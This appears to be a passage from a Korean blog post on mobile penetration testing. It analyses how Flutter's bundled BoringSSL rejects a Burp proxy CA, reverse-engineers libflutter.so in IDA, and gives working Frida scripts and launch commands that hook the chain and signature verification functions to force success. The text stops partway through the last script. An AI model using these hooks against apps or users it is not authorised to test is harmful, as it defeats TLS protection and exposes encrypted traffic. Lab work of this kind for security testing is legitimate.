&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.3.2 핵심 코드 구조&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HTTP 패키지 사용&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;dart&quot;&gt;&lt;code&gt;import 'package:http/http.dart' as http;
import 'dart:convert';

// GET 요청 예시
Future&amp;lt;void&amp;gt; _fetchGetData() async {
  final response = await http.get(
    Uri.parse('https://jsonplaceholder.typicode.com/posts/1'),
  );

  if (response.statusCode == 200) {
    final data = json.decode(response.body);
    // 데이터 처리
  }
}

// POST 요청 예시
Future&amp;lt;void&amp;gt; _fetchPostData() async {
  final response = await http.post(
    Uri.parse('https://jsonplaceholder.typicode.com/posts'),
    headers: {'Content-Type': 'application/json; charset=UTF-8'},
    body: jsonEncode({
      'title': 'Flutter Test',
      'body': 'HTTPS Intercept Test',
      'userId': 1,
    }),
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.3.3 네트워크 통신 흐름&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;UI 이벤트 발생&lt;/b&gt;: 사용자가 버튼 클릭&lt;/li&gt;
&lt;li&gt;&lt;b&gt;State 업데이트&lt;/b&gt;: &lt;code&gt;setState()&lt;/code&gt;로 로딩 상태 변경&lt;/li&gt;
&lt;li&gt;&lt;b&gt;HTTP 요청 생성&lt;/b&gt;: &lt;code&gt;http&lt;/code&gt; 패키지를 통한 요청 생성&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Dart HttpClient 실행&lt;/b&gt;: &lt;code&gt;dart:io&lt;/code&gt;의 HttpClient가 실제 요청 수행&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TLS Handshake&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버와 TLS 연결 수립&lt;/li&gt;
&lt;li&gt;서버 인증서 검증 (여기서 intercept 문제 발생)&lt;/li&gt;
&lt;li&gt;암호화 세션 수립&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터 전송/수신&lt;/b&gt;: 암호화된 데이터 교환&lt;/li&gt;
&lt;li&gt;&lt;b&gt;응답 처리&lt;/b&gt;: JSON 파싱 및 UI 업데이트&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.3.4 인증서 검증 프로세스&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flutter의 기본 인증서 검증 과정:&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1. TLS Handshake 시작
   &amp;darr;
2. 서버 인증서 수신
   &amp;darr;
3. Dart VM 내장 CA 검증
   &amp;darr;
4. 인증서 체인 검증
   &amp;darr;
5. 호스트네임 확인
   &amp;darr;
6. 유효기간 확인
   &amp;darr;
7. 검증 통과 &amp;rarr; 연결 수립
   검증 실패 &amp;rarr; HandshakeException&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제점&lt;/b&gt;: Flutter는 시스템 CA 저장소 대신 자체 CA 저장소를 우선 사용하기 때문에, Android 시스템에 Burp CA를 설치해도 Flutter 앱에서는 인증되지 않는다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.4 테스트 앱의 특징&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.4.1 의도적인 취약점&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 테스트 앱은 다음과 같은 특징을 가진다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ &lt;b&gt;Certificate Pinning 없음&lt;/b&gt;: intercept 테스트를 위해 의도적으로 제외&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;기본 HttpClient 사용&lt;/b&gt;: 표준 &lt;code&gt;http&lt;/code&gt; 패키지 사용&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;인증서 검증 우회 미적용&lt;/b&gt;: 초기 상태는 표준 검증 사용&lt;/li&gt;
&lt;li&gt;✅ &lt;b&gt;실제 HTTPS 통신&lt;/b&gt;: 공개 API를 통한 실제 트래픽 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.4.2 기술 스택&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Flutter&lt;/b&gt;: 3.32.8&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Dart&lt;/b&gt;: 3.8.1&lt;/li&gt;
&lt;li&gt;&lt;b&gt;HTTP 패키지&lt;/b&gt;: ^1.1.0&lt;/li&gt;
&lt;li&gt;&lt;b&gt;UI Framework&lt;/b&gt;: Material Design 3&lt;/li&gt;
&lt;li&gt;&lt;b&gt;State Management&lt;/b&gt;: StatefulWidget&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.4.3 APK 구조 분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 빌드된 APK를 압축 해제한 결과:&lt;/p&gt;
&lt;pre class=&quot;crystal&quot;&gt;&lt;code&gt;app-release.apk (19.1MB)
├── lib/
│   ├── arm64-v8a/
│   │   ├── libapp.so       (3.5MB)  &amp;larr; Dart AOT 컴파일 코드
│   │   └── libflutter.so   (11.3MB) &amp;larr; Flutter Engine
│   ├── armeabi-v7a/
│   │   ├── libapp.so       (4.0MB)
│   │   └── libflutter.so   (8.0MB)
│   └── x86_64/
│       ├── libapp.so       (3.7MB)
│       └── libflutter.so   (12.4MB)
├── assets/
│   └── flutter_assets/
│       ├── kernel_blob.bin
│       └── fonts/, packages/ 등
└── classes.dex&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 파일 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;libflutter.so&lt;/code&gt;: Flutter Engine 핵심 (Dart VM, SSL/TLS, Skia 등)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;libapp.so&lt;/code&gt;: 컴파일된 Dart 애플리케이션 코드 (AOT)&lt;/li&gt;
&lt;li&gt;Flutter Engine이 &lt;b&gt;앱 크기의 절반 이상&lt;/b&gt;을 차지함&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. libflutter.so 심층 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.1 분석 환경 및 도구&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분석 대상:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일: &lt;code&gt;lib/x86_64/libflutter.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;크기: 12,402,736 bytes (약 12.4MB)&lt;/li&gt;
&lt;li&gt;MD5: &lt;code&gt;83b572909d33baf7619dfb8b836a723a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SHA256: &lt;code&gt;41005a06c513ea7f8489c95bb8aee21425b1d0ecec0c22b44a93fcfae137ca73&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용 도구:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;IDA Pro 8.x (x86_64 바이너리 분석)&lt;/li&gt;
&lt;li&gt;objdump / nm (심볼 테이블 분석)&lt;/li&gt;
&lt;li&gt;strings (문자열 추출)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.2 SSL/TLS 관련 심볼 확인&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# objdump 또는 nm 도구로 분석
$ nm libflutter.so | grep -i ssl

# 결과 예시:
_ZN4dart8bin17SSLCertContext...
_ZN4dart8bin10X509Helper...
BoringSSL_SSL_CTX_new
BoringSSL_SSL_connect&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 심볼들은 Flutter Engine이 자체적으로 SSL/TLS를 처리함을 증명한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.3 IDA 를 통한 정적 분석&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.3.1 분석 방법론&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;문자열 기반 분석&lt;/b&gt;: SSL/TLS 관련 에러 메시지 검색&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Xref 추적&lt;/b&gt;: 문자열 참조 함수 역추적&lt;/li&gt;
&lt;li&gt;&lt;b&gt;함수 디컴파일&lt;/b&gt;: 핵심 검증 로직 분석&lt;/li&gt;
&lt;li&gt;&lt;b&gt;호출 그래프 분석&lt;/b&gt;: 함수 간 호출 관계 매핑&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.3.2 주요 발견 문자열&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IDA Pro에서 strings 윈도우를 통해 다음 문자열들을 확인:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;BoringSSL 소스 파일 경로:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;../../../flutter/third_party/boringssl/src/ssl/ssl_x509.cc
../../../flutter/third_party/boringssl/src/crypto/x509/a_verify.cc
../../../flutter/third_party/boringssl/src/crypto/x509/x509_vfy.cc&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Flutter Engine이 BoringSSL을 번들로 포함하고 있음을 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인증서 검증 관련 에러 메시지:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;haml&quot;&gt;&lt;code&gt;- &quot;CERTIFICATE_VERIFY_FAILED&quot;
- &quot;unable to verify the first certificate&quot;
- &quot;certificate chain too long&quot;
- &quot;self signed certificate&quot;
- &quot;invalid CA certificate&quot;
- &quot;certificate has expired&quot;
- &quot;certificate not trusted&quot;
- &quot;certificate rejected&quot;
- &quot;certificate revoked&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Dart 네트워크 관련:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;haml&quot;&gt;&lt;code&gt;- &quot;dart:io/secure_socket.dart&quot;
- &quot;SecureSocket_Connect&quot;
- &quot;SecureSocket_Init&quot;
- &quot;SecureSocket_Handshake&quot;
- &quot;SecureSocket_Destroy&quot;
- &quot;X509Certificate&quot;
- &quot;HandshakeException&quot;
- &quot;TlsException&quot;
- &quot;Connection terminated during handshake&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.4 SSL 검증 프로세스 역공학&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IDA Pro를 통해 실제 libflutter.so (x86_64)를 분석한 결과, 다음과 같은 정확한 호출 체인을 확인:&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1. TLS Handshake 시작
   &amp;darr;
2. 서버 인증서 수신
   &amp;darr;
3. ssl_verify_peer_cert() 호출            &amp;larr; 패턴 매칭으로 식별
   &amp;darr;
4. sub_7FEB3B / sub_7FEDFB 호출          &amp;larr; ssl_x509.cc (SSL 래퍼)
   │  크기: 561 bytes / 350 bytes
   &amp;darr;
5. sub_7DCD69 호출                       &amp;larr; x509_vfy.cc (인증서 체인 검증 메인 함수)
   │  크기: 8,854 bytes
   │  이것이 session_verify_cert_chain()의 역할
   │
   ├─ 인증서 체인 순회 및 검증
   ├─ CA certificate 검증
   ├─ 날짜 유효성 검증
   └─ sub_7D417A 호출                    &amp;larr; a_verify.cc (서명 검증)
      크기: 1,158 bytes
   &amp;darr;
6. 검증 결과 반환
   실패 시: CERTIFICATE_VERIFY_FAILED 에러 (코드 17)
   성공 시: ssl_verify_ok (0) 반환&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.4.1 핵심 함수 상세 분석&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1953&quot; data-origin-height=&quot;1432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AWw2H/btsQ6hXmeOz/Js3xGfHWpm615DJ0p8Oork/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AWw2H/btsQ6hXmeOz/Js3xGfHWpm615DJ0p8Oork/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AWw2H/btsQ6hXmeOz/Js3xGfHWpm615DJ0p8Oork/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAWw2H%2FbtsQ6hXmeOz%2FJs3xGfHWpm615DJ0p8Oork%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1953&quot; height=&quot;1432&quot; data-origin-width=&quot;1953&quot; data-origin-height=&quot;1432&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) sub_7DCD69 (0x7DCD69) - 인증서 체인 검증 메인 함수&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;// IDA Pro 디컴파일 결과 (간소화)
__int64 __fastcall sub_7DCD69(__int64 a1)
{
  // Line 341: 신뢰 저장소 확인
  if ( !v6 || !sub_7D3D5C(v6, *(_QWORD *)(a1 + 8)) )
  {
    *(_DWORD *)(a1 + 76) = 17;  // CERTIFICATE_VERIFY_FAILED
    return 0LL;
  }

  // Line 407, 409: 자체 서명 인증서 감지
  if ( !(unsigned int)sub_7DEFFF(v25, &amp;amp;v305) )
    goto LABEL_141;  // 실패

  // Line 813: RSA/ECDSA 서명 검증 호출
  if ( (unsigned int)sub_7D417A(
      (__int64)&amp;amp;unk_BB8490,  // 검증 컨텍스트
      v96[1],                 // 공개키
      (int *)v96[2],         // 서명 알고리즘
      *v96,                  // 인증서 데이터
      v271) )                // 서명 값
  {
    goto LABEL_631;  // 검증 성공
  }

  // 실패 처리
  *((_DWORD *)v1 + 19) = 7;  // 서명 검증 실패
  return 0LL;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 로직:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Line 341&lt;/b&gt;: BoringSSL 내장 신뢰 저장소에서 인증서 조회
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;sub_7D3D5C()&lt;/code&gt;: 신뢰 저장소 조회 함수&lt;/li&gt;
&lt;li&gt;Burp CA가 없으면 여기서 실패&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Line 407&lt;/b&gt;: 자체 서명 인증서 확인
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;sub_7DEFFF()&lt;/code&gt;: 자체 서명 여부 판단&lt;/li&gt;
&lt;li&gt;Burp CA는 자체 서명이므로 이 경로로 진입&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Line 813&lt;/b&gt;: 서명 검증 수행
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;sub_7D417A()&lt;/code&gt; 호출&lt;/li&gt;
&lt;li&gt;Burp CA 서명이 신뢰할 수 없음으로 판단되면 실패&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) sub_7D417A (0x7D417A) - 서명 검증 함수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: RSA/ECDSA 등 공개키 알고리즘 기반 서명 검증&lt;/li&gt;
&lt;li&gt;&lt;b&gt;입력&lt;/b&gt;: 인증서 데이터, 공개키, 서명 알고리즘, 서명 값&lt;/li&gt;
&lt;li&gt;&lt;b&gt;출력&lt;/b&gt;: 검증 성공(1) / 실패(0)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;소스&lt;/b&gt;: &lt;code&gt;a_verify.cc&lt;/code&gt; (BoringSSL)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3) sub_7FEB3B, sub_7FEDFB - SSL 컨텍스트 브리지 함수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: SSL 컨텍스트와 X.509 검증 로직 연결&lt;/li&gt;
&lt;li&gt;&lt;b&gt;크기&lt;/b&gt;: 561 bytes, 350 bytes&lt;/li&gt;
&lt;li&gt;&lt;b&gt;소스&lt;/b&gt;: &lt;code&gt;ssl_x509.cc&lt;/code&gt; (BoringSSL)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.5 Burp CA가 거부되는 정확한 지점&lt;/h3&gt;
&lt;pre class=&quot;mipsasm&quot;&gt;&lt;code&gt;TLS Handshake 시작
    &amp;darr;
Burp Proxy CA 인증서 수신
    &amp;darr;
sub_7DCD69() 호출
    │
    ├─ Line 341: sub_7D3D5C() - 신뢰 저장소 조회
    │  └─ Burp CA가 BoringSSL 신뢰 저장소에 없음 &amp;rarr; 실패 가능성
    │
    ├─ Line 407: sub_7DEFFF() - 자체 서명 확인
    │  └─ Burp CA는 자체 서명 인증서 &amp;rarr; 플래그 설정
    │
    ├─ Line 813: sub_7D417A() - 서명 검증
    │  └─ Burp CA 서명을 신뢰할 수 없음으로 판단 &amp;rarr; 실패
    │
    └─ Line 329 or 344: 에러 코드 설정
       *(_DWORD *)(a1 + 76) = 17;  &amp;larr; CERTIFICATE_VERIFY_FAILED
    &amp;darr;
검증 실패 &amp;rarr; HandshakeException 발생 &amp;rarr; 연결 거부&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 문제:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Burp CA는 자체 서명(Self-Signed) 인증서&lt;/li&gt;
&lt;li&gt;BoringSSL의 내장 신뢰 저장소에 Burp CA가 없음&lt;/li&gt;
&lt;li&gt;Android 시스템 CA 저장소를 참조하지 않음&lt;/li&gt;
&lt;li&gt;따라서 &lt;code&gt;sub_7DCD69&lt;/code&gt; 내부에서 검증 실패 &amp;rarr; 에러 코드 17 반환&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.6 검증 결과 요약&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;값&lt;/th&gt;
&lt;th&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;메인 검증 함수&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_7DCD69&lt;/code&gt; (0x7DCD69)&lt;/td&gt;
&lt;td&gt;8,854 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서명 검증 함수&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_7D417A&lt;/code&gt; (0x7D417A)&lt;/td&gt;
&lt;td&gt;1,158 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSL 브리지 함수&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_7FEB3B&lt;/code&gt; (0x7FEB3B)&lt;/td&gt;
&lt;td&gt;561 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSL 브리지 함수&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sub_7FEDFB&lt;/code&gt; (0x7FEDFB)&lt;/td&gt;
&lt;td&gt;350 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실패 에러 코드&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;CERTIFICATE_VERIFY_FAILED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;성공 반환값&lt;/td&gt;
&lt;td&gt;0 or 1&lt;/td&gt;
&lt;td&gt;ssl_verify_ok&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 우회 스크립트 작성&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.1 Frida 동적 계측 기법&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5.1.1 Frida 개요&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Frida는 &lt;b&gt;동적 계측 도구&lt;/b&gt;로, 런타임에 앱의 메모리를 직접 수정하여 동작을 변경할 수 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.2 IDA 분석 결과 기반 후킹 전략&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5.2.1 후킹 포인트 선정&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IDA 분석을 통해 확인한 함수들을 우선순위별로 정리:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우선순위 1 (권장): ssl_verify_peer_cert 패턴 매칭&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;// ARM64/x86_64 공통 패턴으로 최상위 검증 함수 찾기
// 가장 효과적이며 모든 하위 검증을 우회&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우선순위 2: sub_7DCD69 (인증서 체인 검증 메인 함수)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;// 0x7DCD69 오프셋 직접 후킹
// 체인 검증 전체를 우회&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우선순위 3: sub_7D417A (서명 검증)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;// 0x7D417A 오프셋 직접 후킹
// 서명 검증만 우회 (더 정교한 접근)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우선순위 4: sub_7FEB3B, sub_7FEDFB (SSL 브리지)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;// 0x7FEB3B, 0x7FEDFB 오프셋 후킹
// SSL 컨텍스트 레벨 우회&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5.2.2 Frida 스크립트: 메인 검증 함수 우회&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 1: sub_7DCD69 (x509_vfy.cc - 체인 검증 메인 함수) 후킹&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;// frida_bypass_chain_verification.js
// x86_64 libflutter.so 기준

function hook_certificate_verification() {
    var moduleName = &quot;libflutter.so&quot;;
    var baseAddr = Module.findBaseAddress(moduleName);

    if (baseAddr == null) {
        console.log(&quot;[-] libflutter.so not found!&quot;);
        return;
    }

    console.log(&quot;[+] libflutter.so base address: &quot; + baseAddr);

    // sub_7DCD69: 인증서 체인 검증 메인 함수
    var verify_chain_offset = 0x7DCD69;
    var verify_chain_addr = baseAddr.add(verify_chain_offset);

    console.log(&quot;[+] Hooking certificate chain verification at: &quot; + verify_chain_addr);

    Interceptor.replace(verify_chain_addr, new NativeCallback(function(a1) {
        console.log(&quot;[*] Certificate chain verification bypassed!&quot;);
        console.log(&quot;    Context: &quot; + a1);
        return 1; // 검증 성공 반환
    }, 'int', ['pointer']));

    console.log(&quot;[+] Successfully hooked sub_7DCD69&quot;);
}

// 스크립트 시작
setTimeout(function() {
    console.log(&quot;[*] Starting Frida hooking script...&quot;);
    hook_certificate_verification();
}, 1000);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용 방법:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;# 디바이스에 연결된 앱에 적용
frida -U -f com.example.sample_app -l frida_bypass_chain_verification.js --no-pause

# 실행 중인 앱에 attach
frida -U com.example.sample_app -l frida_bypass_chain_verification.js&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5.2.3 Frida 스크립트: 서명 검증 우회&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 2: sub_7D417A (a_verify.cc - 서명 검증) 후킹&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;// frida_bypass_signature_verification.js

function hook_signature_verification() {
    var moduleName = &quot;libflutter.so&quot;;
    var baseAddr = Module.findBaseAddress(moduleName);

    if (baseAddr == null) {
        console.log(&quot;[-] libflutter.so not found!&quot;);
        return;
    }

    // sub_7D417A: RSA/ECDSA 서명 검증 함수
    var sig_verify_offset = 0x7D417A;
    var sig_verify_addr = baseAddr.add(sig_verify_offset);

    console.log(&quot;[+] Hooking signature verification at: &quot; + sig_verify_addr);

    Interceptor.replace(sig_verify_addr, new NativeCallback(
        function(ctx, pubkey, algo, data, sig) {
            console.log(&quot;[*] Certificate signature verification bypassed!&quot;);
            console.log(&quot;    Context: &quot; + ctx);
            console.log(&quot;    Public Key: &quot; + pubkey);
            console.log(&quot;    Algorithm: &quot; + algo);
            return 1; // 서명 유효
        }, 
        'int', 
        ['pointer', 'pointer', 'pointer', 'pointer', 'pointer']
    ));

    console.log(&quot;[+] Successfully hooked sub_7D417A&quot;);
}

setTimeout(hook_signature_verification, 1000);&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5.2.4 종합 후킹 스크립트&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 3: 다중 레벨 후킹 (최대 호환성)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;// frida_bypass_comprehensive.js
// 여러 함수를 동시에 후킹하여 최대 호환성 확보

function comprehensive_ssl_bypass() {
    var moduleName = &quot;libflutter.so&quot;;
    var baseAddr = Module.findBaseAddress(moduleName);

    if (baseAddr == null) {
        console.log(&quot;[-] Module not found!&quot;);
        return;
    }

    console.log(&quot;[+] libflutter.so found at: &quot; + baseAddr);

    // 1. 체인 검증 우회
    try {
        var chain_verify = baseAddr.add(0x7DCD69);
        Interceptor.replace(chain_verify, new NativeCallback(
            function(a1) {
                console.log(&quot;[*] Chain verification bypassed&quot;);
                return 1;
            }, 'int', ['pointer']
        ));
        console.log(&quot;[+] Hooked chain verification (0x7DCD69)&quot;);
    } catch(e) {
        console.log(&quot;[-] Failed to hook chain verification: &quot; + e);
    }

    // 2. 서명 검증 우회
    try {
        var sig_verify = baseAddr.add(0x7D417A);
        Interceptor.replace(sig_verify, new NativeCallback(
            function(ctx, key, algo, data, sig) {
                console.log(&quot;[*] Signature verification bypassed&quot;);
                return 1;
            }, 'int', ['pointer', 'pointer', 'pointer', 'pointer', 'pointer']
        ));
        console.log(&quot;[+] Hooked signature verification (0x7D417A)&quot;);
